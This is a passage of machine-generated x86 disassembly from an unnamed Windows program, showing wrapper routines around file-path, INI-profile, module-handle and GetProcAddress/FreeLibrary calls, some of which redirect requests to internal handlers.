		jmp	short loc_49B9D8
sub_49B8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_49B9C8	proc near		; CODE XREF: sub_49B8AA+117p
					; DATA XREF: _5:0049FA90o
		mov	eax, [ebp-20h]
		mov	[ebp-38h], eax
		push	dword ptr [ebp-38h]
		call	sub_4993DD
		pop	ecx
		retn
sub_49B9C8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_49B8AA

loc_49B9D8:				; CODE XREF: sub_49B8AA+11Cj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_49B8AA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B9EC	proc near		; CODE XREF: sub_4060D0+1F5p
					; sub_406A0D+38p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_491672
		test	eax, eax
		jnz	short loc_49BA11
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A2700	; GetFileSize
		mov	[ebp+var_4], eax
		jmp	short loc_49BA1D
; ---------------------------------------------------------------------------

loc_49BA11:				; CODE XREF: sub_49B9EC+12j
		cmp	[ebp+arg_4], 0
		jz	short loc_49BA1D
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0

loc_49BA1D:				; CODE XREF: sub_49B9EC+23j
					; sub_49B9EC+29j
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_49B9EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BA24	proc near		; CODE XREF: sub_405A58+18p
					; sub_407252+58p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_498141
		add	esp, 10h
		test	eax, eax
		jnz	short loc_49BA57
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A2714	; GetModuleFileNameA
		mov	[ebp+var_4], eax

loc_49BA57:				; CODE XREF: sub_49BA24+1Fj
		mov	eax, [ebp+var_4]
		leave
		retn	0Ch
sub_49BA24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BA5E	proc near		; DATA XREF: _6:004A23B0o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_8]
		inc	eax
		push	eax
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_8]
		inc	ecx
		xor	eax, eax
		mov	edi, [ebp+var_8]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_498141
		add	esp, 10h
		test	eax, eax
		jnz	short loc_49BABF
		push	[ebp+arg_8]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	ds:dword_4A2714	; GetModuleFileNameA
		mov	[ebp+var_4], eax

loc_49BABF:				; CODE XREF: sub_49BA5E+4Dj
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0FFFFFFFFh
		push	[ebp+var_8]
		push	0
		push	0
		call	ds:dword_4A2770	; MultiByteToWideChar
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		call	sub_4993DD
		pop	ecx
		mov	eax, [ebp+var_4]
		pop	edi
		leave
		retn	0Ch
sub_49BA5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BAEB	proc near		; DATA XREF: _6:004A23B8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4928CF
		add	esp, 10h
		test	eax, eax
		jnz	short loc_49BB36
		push	offset aKernel32_0 ; "kernel32"
		push	offset aGetlongpathnam ; "GetLongPathNameA"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_49BB36
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_8]
		mov	[ebp+var_4], eax

loc_49BB36:				; CODE XREF: sub_49BAEB+20j
					; sub_49BAEB+3Aj
		mov	eax, [ebp+var_4]
		leave
		retn	0Ch
sub_49BAEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BB3D	proc near		; DATA XREF: _6:004A23C0o

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0049BC52 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49FA98
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		mov	eax, [ebp+arg_8]
		inc	eax
		push	eax
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+arg_8]
		inc	ecx
		xor	eax, eax
		mov	edi, [ebp+var_24]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		push	400h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_34]
		mov	[ebp+var_20], eax
		and	[ebp+var_4], 0
		push	0
		push	0
		push	400h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4A27B8	; WideCharToMultiByte
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+var_24]
		push	[ebp+var_20]
		call	sub_4928CF
		add	esp, 10h
		test	eax, eax
		jnz	short loc_49BC0B
		push	offset aKernel32_0 ; "kernel32"
		push	offset aGetlongpathn_0 ; "GetLongPathNameW"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_49BC09
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_2C]
		mov	[ebp+var_1C], eax

loc_49BC09:				; CODE XREF: sub_49BB3D+BBj
		jmp	short loc_49BC28
; ---------------------------------------------------------------------------

loc_49BC0B:				; CODE XREF: sub_49BB3D+A1j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_49BC28
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0FFFFFFFFh
		push	[ebp+var_24]
		push	0
		push	0
		call	ds:dword_4A2770	; MultiByteToWideChar

loc_49BC28:				; CODE XREF: sub_49BB3D:loc_49BC09j
					; sub_49BB3D+D4j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_49BC33
		jmp	short loc_49BC52
sub_49BB3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_49BC33	proc near		; CODE XREF: sub_49BB3D+EFp
					; DATA XREF: _5:0049FAA0o
		mov	eax, [ebp-24h]
		mov	[ebp-38h], eax
		push	dword ptr [ebp-38h]
		call	sub_4993DD
		pop	ecx
		mov	eax, [ebp-20h]
		mov	[ebp-3Ch], eax
		push	dword ptr [ebp-3Ch]
		call	sub_4993DD
		pop	ecx
		retn
sub_49BC33	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_49BB3D

loc_49BC52:				; CODE XREF: sub_49BB3D+F4j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_49BB3D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BC66	proc near		; DATA XREF: _6:004A2370o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		xor	edx, edx
		mov	ecx, [ebp+arg_14]
		call	sub_4929D2
		test	eax, eax
		jz	short loc_49BCE9
		push	0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_492CC4
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_49BCE7
		cmp	[ebp+arg_8], 0
		jz	short loc_49BCE7
		mov	eax, [ebp+arg_10]
		dec	eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_48D770
		add	esp, 0Ch
		mov	edi, [ebp+arg_8]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_10]
		jnb	short loc_49BCDB
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		jmp	short loc_49BCE1
; ---------------------------------------------------------------------------

loc_49BCDB:				; CODE XREF: sub_49BC66+6Bj
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_C], eax

loc_49BCE1:				; CODE XREF: sub_49BC66+73j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax

loc_49BCE7:				; CODE XREF: sub_49BC66+3Aj
					; sub_49BC66+40j
		jmp	short loc_49BD04
; ---------------------------------------------------------------------------

loc_49BCE9:				; CODE XREF: sub_49BC66+15j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A2724	; GetPrivateProfileStringA
		mov	[ebp+var_4], eax

loc_49BD04:				; CODE XREF: sub_49BC66:loc_49BCE7j
		mov	eax, [ebp+var_4]
		pop	edi
		leave
		retn	18h
sub_49BC66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BD0C	proc near		; DATA XREF: _6:004A2378o

var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	edi
		and	[ebp+var_4], 0
		push	0
		xor	edx, edx
		mov	ecx, [ebp+arg_C]
		call	sub_4929D2
		test	eax, eax
		jz	short loc_49BD76
		and	[ebp+var_54], 0
		push	13h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_53]
		rep stosd
		stosw
		stosb
		push	0
		push	[ebp+arg_C]
		push	50h
		lea	eax, [ebp+var_54]
		push	eax
		push	offset dword_4A2918
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_492CC4
		add	esp, 1Ch
		mov	[ebp+var_58], eax
		cmp	[ebp+var_58], 0
		jnz	short loc_49BD67
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		jmp	short loc_49BD74
; ---------------------------------------------------------------------------

loc_49BD67:				; CODE XREF: sub_49BD0C+51j
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_48DA75
		pop	ecx
		mov	[ebp+var_4], eax

loc_49BD74:				; CODE XREF: sub_49BD0C+59j
		jmp	short loc_49BD8B
; ---------------------------------------------------------------------------

loc_49BD76:				; CODE XREF: sub_49BD0C+19j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A271C	; GetPrivateProfileIntA
		mov	[ebp+var_4], eax

loc_49BD8B:				; CODE XREF: sub_49BD0C:loc_49BD74j
		mov	eax, [ebp+var_4]
		pop	edi
		leave
		retn	10h
sub_49BD0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BD93	proc near		; DATA XREF: _6:004A2380o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		xor	edx, edx
		mov	ecx, [ebp+arg_8]
		call	sub_4929D2
		test	eax, eax
		jz	short loc_49BDC5
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	0
		push	0
		push	0
		call	sub_492CC4
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		jmp	short loc_49BDD7
; ---------------------------------------------------------------------------

loc_49BDC5:				; CODE XREF: sub_49BD93+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A2720	; GetPrivateProfileSectionNamesA
		mov	[ebp+var_4], eax

loc_49BDD7:				; CODE XREF: sub_49BD93+30j
		mov	eax, [ebp+var_4]
		leave
		retn	0Ch
sub_49BD93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BDDE	proc near		; DATA XREF: _6:004A2388o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		xor	edx, edx
		mov	ecx, [ebp+arg_C]
		call	sub_4929D2
		test	eax, eax
		jz	short loc_49BE11
		push	1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0
		push	0
		push	[ebp+arg_0]
		call	sub_492CC4
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		jmp	short loc_49BE26
; ---------------------------------------------------------------------------

loc_49BE11:				; CODE XREF: sub_49BDDE+12j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_49F02C	; GetPrivateProfileSectionA
		mov	[ebp+var_4], eax

loc_49BE26:				; CODE XREF: sub_49BDDE+31j
		mov	eax, [ebp+var_4]
		leave
		retn	10h
sub_49BDDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BE2D	proc near		; CODE XREF: sub_49BE83+8p
					; sub_49BE96+9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_49BE43
		push	7Eh
		call	ds:dword_4A278C	; RtlRestoreLastWin32Error
		xor	eax, eax
		jmp	short locret_49BE81
; ---------------------------------------------------------------------------

loc_49BE43:				; CODE XREF: sub_49BE2D+8j
		mov	ecx, [ebp+arg_0]
		call	sub_496AD2
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_49BE7E
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		call	sub_4971E1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_49BE7E
		call	ds:dword_4A2710	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_49BE7A
		push	7Eh
		call	ds:dword_4A278C	; RtlRestoreLastWin32Error

loc_49BE7A:				; CODE XREF: sub_49BE2D+43j
		xor	eax, eax
		jmp	short locret_49BE81
; ---------------------------------------------------------------------------

loc_49BE7E:				; CODE XREF: sub_49BE2D+25j
					; sub_49BE2D+39j
		mov	eax, [ebp+var_4]

locret_49BE81:				; CODE XREF: sub_49BE2D+14j
					; sub_49BE2D+4Fj
		leave
		retn
sub_49BE2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BE83	proc near		; CODE XREF: sub_409037+5Ap
					; sub_40981F+13Ap ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_0]
		call	sub_49BE2D
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_49BE83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BE96	proc near		; CODE XREF: sub_49A518+B9p
					; sub_49A789+B9p ...

arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_49BE2D
		pop	ecx
		pop	ecx
		pop	ebp
		retn	0Ch
sub_49BE96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BEAA	proc near		; CODE XREF: sub_49BF65+8p
					; sub_49BF78+9p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49FAA8
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_49BEE1
		push	7Eh
		call	ds:dword_4A278C	; RtlRestoreLastWin32Error
		xor	eax, eax
		jmp	short loc_49BF56
; ---------------------------------------------------------------------------

loc_49BEE1:				; CODE XREF: sub_49BEAA+29j
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_1C], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_1C]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_1C]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4A27B8	; WideCharToMultiByte
		push	[ebp+arg_4]
		push	[ebp+var_1C]
		call	sub_49BE2D
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_28]
		jmp	short loc_49BF56
; ---------------------------------------------------------------------------

loc_49BF44:				; DATA XREF: _5:0049FAB0o
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_4993DD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax

loc_49BF56:				; CODE XREF: sub_49BEAA+35j
					; sub_49BEAA+98j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_49BEAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BF65	proc near		; DATA XREF: _6:004A22D8o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_0]
		call	sub_49BEAA
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_49BF65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BF78	proc near		; DATA XREF: _6:004A22E8o

arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_49BEAA
		pop	ecx
		pop	ecx
		pop	ebp
		retn	0Ch
sub_49BF78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BF8C	proc near		; CODE XREF: sub_40981F+Fp
					; sub_40981F+264p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_49BFA0
		push	0
		call	ds:dword_4A2718	; GetModuleHandleA
		jmp	short locret_49BFC2
; ---------------------------------------------------------------------------

loc_49BFA0:				; CODE XREF: sub_49BF8C+8j
		push	[ebp+arg_0]
		call	ds:dword_4A2718	; GetModuleHandleA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_49BFBF
		xor	dl, dl
		mov	ecx, [ebp+arg_0]
		call	sub_4968CF
		mov	[ebp+var_4], eax

loc_49BFBF:				; CODE XREF: sub_49BF8C+24j
		mov	eax, [ebp+var_4]

locret_49BFC2:				; CODE XREF: sub_49BF8C+12j
		leave
		retn	4
sub_49BF8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BFC6	proc near		; DATA XREF: _6:004A2358o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0049C062 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49FAB8
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_49BFFB
		push	0
		call	ds:dword_4A2718	; GetModuleHandleA
		jmp	short loc_49C065
; ---------------------------------------------------------------------------

loc_49BFFB:				; CODE XREF: sub_49BFC6+29j
		and	[ebp+var_1C], 0
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_20], eax
		xor	eax, eax
		mov	edi, [ebp+var_20]
		stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4A27B8	; WideCharToMultiByte
		push	[ebp+var_20]
		call	sub_49BF8C
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_49C052
		jmp	short loc_49C062
sub_49BFC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_49C052	proc near		; CODE XREF: sub_49BFC6+85p
					; DATA XREF: _5:0049FAC0o
		mov	eax, [ebp-20h]
		mov	[ebp-28h], eax
		push	dword ptr [ebp-28h]
		call	sub_4993DD
		pop	ecx
		retn
sub_49C052	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_49BFC6

loc_49C062:				; CODE XREF: sub_49BFC6+8Aj
		mov	eax, [ebp+var_1C]

loc_49C065:				; CODE XREF: sub_49BFC6+33j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; END OF FUNCTION CHUNK	FOR sub_49BFC6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C076	proc near		; CODE XREF: sub_409037+71p
					; sub_409037+7Ep ...

var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0049C179 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49FAC8
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_1C], 0
		mov	eax, [ebp+arg_4]
		shr	eax, 10h
		movzx	eax, ax
		test	eax, eax
		jz	short loc_49C0C9
		push	offset aDllgetclassobj ; "DllGetClassObject"
		push	[ebp+arg_4]
		call	ds:dword_4A27C0	; lstrcmpi
		test	eax, eax
		jnz	short loc_49C0C9
		mov	ecx, [ebp+arg_0]
		call	sub_496A41

loc_49C0C9:				; CODE XREF: sub_49C076+37j
					; sub_49C076+49j
		and	[ebp+var_4], 0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A2728	; GetProcAddress
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_49C0F9
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		and	[ebp+var_30], 0
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_30]
		jmp	loc_49C17C
; ---------------------------------------------------------------------------

loc_49C0F9:				; CODE XREF: sub_49C076+6Aj
		cmp	[ebp+var_1C], 0
		jz	short loc_49C179
		mov	eax, ds:dword_4A70D4
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_49C120
		mov	eax, [ebp+var_24]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_28], 1
		jmp	short loc_49C124
; ---------------------------------------------------------------------------

loc_49C120:				; CODE XREF: sub_49C076+95j
		and	[ebp+var_28], 0

loc_49C124:				; CODE XREF: sub_49C076+A8j
		movzx	eax, [ebp+var_28]
		test	eax, eax
		jz	short loc_49C179
		mov	[ebp+var_4], 1
		push	[ebp+var_1C]
		mov	ecx, ds:dword_4A70D4
		call	sub_49C871
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_49C152
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		mov	[ebp+var_1C], eax

loc_49C152:				; CODE XREF: sub_49C076+D2j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_49C15D
		jmp	short loc_49C179
sub_49C076	endp


; =============== S U B	R O U T	I N E =======================================



sub_49C15D	proc near		; CODE XREF: sub_49C076+E0p
					; DATA XREF: _5:0049FADCo
		mov	eax, ds:dword_4A70D4
		mov	[ebp-2Ch], eax
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_49C178
		mov	eax, [ebp-2Ch]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

locret_49C178:				; CODE XREF: sub_49C15D+Cj
		retn
sub_49C15D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_49C076

loc_49C179:				; CODE XREF: sub_49C076+87j
					; sub_49C076+B4j ...
		mov	eax, [ebp+var_1C]

loc_49C17C:				; CODE XREF: sub_49C076+7Ej
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_49C076

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C18D	proc near		; CODE XREF: sub_409037+170p
					; DATA XREF: _1:off_4240D4o ...

var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49FAE0
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_1C], 0
		push	[ebp+arg_0]
		call	ds:dword_4A26E0	; FreeLibrary
		jmp	short loc_49C1D9
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 1
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_24]

loc_49C1D9:				; CODE XREF: sub_49C18D+35j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_49C18D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C1EA	proc near		; DATA XREF: _6:off_4A23D8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
